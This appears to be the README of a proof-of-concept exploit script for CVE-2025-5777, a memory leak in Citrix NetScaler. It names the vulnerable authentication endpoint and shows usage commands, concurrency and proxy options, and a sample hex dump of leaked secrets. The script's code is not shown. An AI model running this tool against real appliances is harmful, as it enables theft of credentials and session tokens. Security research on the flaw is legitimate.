Citrix NetScaler Memory Leak PoC# CVE-2025-5777 - Citrix NetScaler Memory Leak PoC
## 📌 Description
This script exploits a critical memory disclosure vulnerability in Citrix NetScaler ADC/Gateway appliances, identified as **CVE-2025-5777** (dubbed **CitrixBleed 2**). It triggers a memory leak through the `/p/u/doAuthentication.do` endpoint, revealing uninitialized memory containing sensitive data such as XML fragments, tokens, and potentially credentials.
* 📅 **CVE ID:** CVE-2025-5777
* ⚙️ **Impact:** Information Disclosure
* 🧑💻 **Author:** \[0xgh057r3c0n]
* 🧵 **Concurrency:** Asynchronous with `aiohttp`
* 📦 **Dependencies:** `aiohttp`, `colorama`
---
## 🚀 Features
* Asynchronous mass-request engine using `asyncio + aiohttp`
* Hex dump of leaked memory fragments
* Auto-detection of the `<InitialValue>` memory leak
* Verbose mode for debugging and response preview
* Graceful interrupt handling (Ctrl+C)
---
## 🧪 Usage
```bash
python3 CVE-2025-5777.py http://<target> [options]
```
### 🔧 Options
| Option | Description |
| --------------- | ---------------------------------------------- |
| `-v, --verbose` | Enable verbose debug output |
| `-p <proxy>` | Use HTTP proxy (e.g., `http://127.0.0.1:8080`) |
| `-t <threads>` | Number of concurrent requests (default: 10) |
---
## 📥 Example
```bash
python3 CVE-2025-5777.py http://192.168.1.1 -v -t 5
```
---
## 📤 Sample Output
```
_____________ _______________ _______________ ________ .________ .___________________________________
\_ ___ \ \ / /\_ _____/ \_____ \ _ \ \_____ \ | ____/ | ____/\______ \______ \______ \
/ \ \/\ Y / | __)_ ______ / ____/ /_\ \ / ____/ |____ \ ______ |____ \ / / / / / /
\ \____\ / | \ /_____/ / \ \_/ \/ \ / \ /_____/ / \ / / / / / /
\______ / \___/ /_______ / \_______ \_____ /\_______ \/______ / /______ / /____/ /____/ /____/
\/ \/ \/ \/ \/ \/ \/
Citrix NetScaler Memory Leak PoC (CVE-2025-5777)
Author: 0xgh057r3c0n
[🔄] POST → http://192.168.1.1/p/u/doAuthentication.do → Status: 200
[✔️ ] Found InitialValue Memory Leak!
[🧠] Hex Dump:
------------------------------------------------------------------------
00000000: 73 65 63 72 65 74 3d 22 61 62 63 64 31 32 33 21 secret="abcd123!
00000010: 40 23 24 25 5e 26 2a 28 29 22 3c 2f 49 6e 69 74 @#$%^&*()"</Init
00000020: 69 61 6c 56 61 6c 75 65 3e ialValue>
------------------------------------------------------------------------
[✔️ ] Leak confirmed. Continuing extraction...
```
---
## ⚠️ Disclaimer
> This proof-of-concept is intended for **educational and authorized security testing only**.
> Unauthorized scanning or exploitation of systems you don't own is **illegal**.
---
Log in to view the POC file snapshot cached by Shenlong Bot
Log in to view